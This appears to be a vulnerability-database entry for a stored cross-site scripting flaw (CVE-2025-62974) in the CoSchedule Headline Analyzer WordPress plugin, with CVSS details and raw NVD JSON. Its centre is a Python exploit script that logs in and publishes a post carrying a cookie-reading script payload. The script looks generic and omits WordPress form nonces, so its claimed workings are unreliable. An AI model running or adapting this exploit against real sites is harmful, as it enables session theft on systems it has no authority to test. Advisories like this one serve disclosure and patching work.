Security Vulnerability Report
中文
CVE-2025-62974 CVSS 6.5 MEDIUM

CVE-2025-62974

Published: 2025-10-27 02:15:58
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CoSchedule Headline Analyzer headline-analyzer allows Stored XSS.This issue affects Headline Analyzer: from n/a through <= 1.3.7.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CoSchedule Headline Analyzer <= 1.3.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62974 PoC - Stored XSS in CoSchedule Headline Analyzer # Target: WordPress site with vulnerable CoSchedule Headline Analyzer plugin (<=1.3.7) target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "attacker" password = sys.argv[3] if len(sys.argv) > 3 else "password" # XSS payload xss_payload = '<script>alert(document.cookie)</script>' session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Logging in to WordPress...") response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'loggedout=true' in response.url or response.status_code != 200: print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Step 2: Create new post with XSS payload in title post_url = f"{target_url}/wp-admin/post-new.php" post_data = { 'post_title': f'Test Headline {xss_payload}', 'post_content': 'Testing CoSchedule Headline Analyzer XSS vulnerability', 'post_status': 'publish', 'publish': 'Publish' } print("[*] Creating post with XSS payload...") response = session.post(post_url, data=post_data) if response.status_code == 200: print("[+] Post created with XSS payload") print(f"[*] XSS will be triggered when viewing the post or using Headline Analyzer") else: print("[-] Failed to create post")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62974", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:58.020", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CoSchedule Headline Analyzer headline-analyzer allows Stored XSS.This issue affects Headline Analyzer: from n/a through <= 1.3.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/headline-analyzer/vulnerability/wordpress-headline-analyzer-plugin-1-3-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}